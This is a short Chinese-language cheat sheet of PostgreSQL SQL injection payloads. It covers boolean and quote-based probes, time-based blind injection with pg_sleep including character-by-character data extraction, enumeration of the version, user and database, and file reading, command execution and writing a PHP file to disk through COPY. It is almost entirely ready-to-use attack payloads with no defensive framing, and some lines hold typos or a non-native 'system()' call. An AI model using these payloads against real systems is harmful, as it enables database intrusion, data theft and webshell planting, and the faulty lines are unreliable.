1、简单的有回显的SQL注入不用多说,还是基本的SQL语句直接查询就可以了。/

    1. 1 #简单的payload
    2. 2 parameter = 2-1
    3. 3 parameter = 1 and 1 = 2
    4. 4 parameter = 1 or 1 = 2-1
    5. 5 parameter = 1' and '1'='1#and -> or
    6. 6 parameter = 1' and '1'='2#and -> or
    7. 或者引号区分发(适用于字符串)
    8. 1 parameter = 1 #Success
    9. 2 parameter = 1' #Failed
    10. 3 parameter = 1'' #Success

    2、一般的基于时间的盲注,可以参考下面的办法:

    1. 1 #postgresql 的几个简单判断payload:
    2. 2 parameter=1;select pg_sleep(5)
    3. 3 parameter=1';select pg_sleep(5)
    4. 4 parameter=1');select pg_sleep(5)
    5. 5 parameter=1);select pg_sleep(5)
    6. 6 parameter=1));select pg_sleep(5)
    7. 7 parameter=select pg_sleep(5)
    8. 盲注的逐位猜解
    9. 1 SELECT CASE WHEN (COALESCE(ASCII(SUBSTR(({current_user}),1,1)),0) > 100) THEN pg_sleep(14) ELSE pg_sleep(0) END LIMIT 1--+

    3、常见的函数查看一些基本信息:
    /

    1. 1 SELECT version() #查看版本信息
    2. 2 #查看用户
    3. 3 SELECT user;
    4. 4 SELECT current_user;
    5. 5 SELECT session_user;
    6. 6 SELECT usename FROM pg_user; #这里是usename不是username
    7. 7 SELECT getpgusername();
    8. 8 #查看当前数据库
    9. 9 SELECT current_database()

    4、postgresql下的if

    1. 1 #mysql的
    2. 2 if(expr1,result1,result2);
    3. 3 #如果expr1满足,result1,否则result2
    4. 4 #对于postgresql
    5. 6 select case when(expr1) then result1 else result2 end;
    6. 8 #举个例子
    7. 9 select casr when(current_user='postgres') then pg_sleep(5) else pg_sleep(0) end;

    5、其他

    1. 1)读取文件:
    2. 1 select pg_read_file(filepath+filename);
    3. 2)执行命令:
    4. 1 select system("comamnd_string");
    5. 3)写入文件:
    6. 1 COPY (select '<?php phpinfo();?>') to '/tmp/1.php';